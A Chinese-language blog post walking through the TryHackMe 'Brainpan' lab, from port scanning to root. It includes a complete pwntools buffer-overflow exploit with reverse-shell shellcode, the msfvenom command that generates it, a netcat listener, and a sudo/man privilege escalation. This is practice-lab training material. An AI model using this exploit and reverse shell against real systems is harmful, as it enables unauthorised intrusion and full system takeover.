tryhackme-Brainpan(脑板)

信息收集

首先使用nmap进行端口扫描

nmap -sT -p- --min-rate 10000 -Pn target -oA openPort

结果如下

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 09:31 EDT
Warning: 10.10.133.105 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.133.105
Host is up (0.24s latency).
Not shown: 63700 closed tcp ports (conn-refused), 1833 filtered tcp ports (no-response)
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 49.24 seconds

开放了999910000端口,因为nmap报了一个错误,我以为有些端口被过滤了,但是通过多次扫描,发现就是开放了两个端口
使用-sV扫描发现目标的10000端口开放的是python共享的web服务,而9999端口是运行着一个二进制程序,我们需要找到这个二进制文件并分析他

使用gobuster10000端口进行目录扫描

通过扫描得到一个/bin的目录,访问得到二进制程序

接下来就是二进制漏洞的常规思路了,我这里就不在意义叙述,通过一系列的测试,我得到最终的exploit.py

from pwn import *
context(log_level='debug')

p = remote("10.10.3.224",9999)

offset = 524
payload = b"A" * offset
payload += b"\xf3\x12\x17\x31"	# 0x311712f3 
payload += b"\x90" * 16
payload += (
	b"\xdd\xc5\xd9\x74\x24\xf4\x5f\xba\x71\x3c\x48\x8a\x29\xc9"
	b"\xb1\x12\x31\x57\x17\x83\xef\xfc\x03\x26\x2f\xaa\x7f\xf9"
	b"\x94\xdd\x63\xaa\x69\x71\x0e\x4e\xe7\x94\x7e\x28\x3a\xd6"
	b"\xec\xed\x74\xe8\xdf\x8d\x3c\x6e\x19\xe5\xb4\x99\x0c\x48"
	b"\xa0\x9b\xae\xa3\x6d\x15\x4f\x73\xeb\x75\xc1\x20\x47\x76"
	b"\x68\x27\x6a\xf9\x38\xcf\x1b\xd5\xcf\x67\x8c\x06\x1f\x15"
	b"\x25\xd0\xbc\x8b\xe6\x6b\xa3\x9b\x02\xa1\xa4"
)

p.send(payload)

最后一段的payload +=shellcode需要使用msfvenom生成自己对应的IP和Port,命令如下

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.9.213.189 LPORT=4444 -f c -b "\x00" EXITFUNC=thread

初始访问权限

nc本地监听,然后运行exploit.py得到shell


接着使用python -c "import pty;pty.spawn('/bin/bash')"获得一个稳定shell

权限提升

查找suid提权

at查找到了提权的方法,但是并没有成功
接着sudo -l查看可以执行的命令

可以不使用密码身为root用户运行/home/anansi/bin/anansi_util程序

运行发现该程序有三个选项,分别执行ip addresstopmanman中可以自定义参数
man是可以直接获取shell的,直接提权成功

posted @ 2024-07-15 21:48  Junglezt  阅读(88)  评论(0编辑  收藏  举报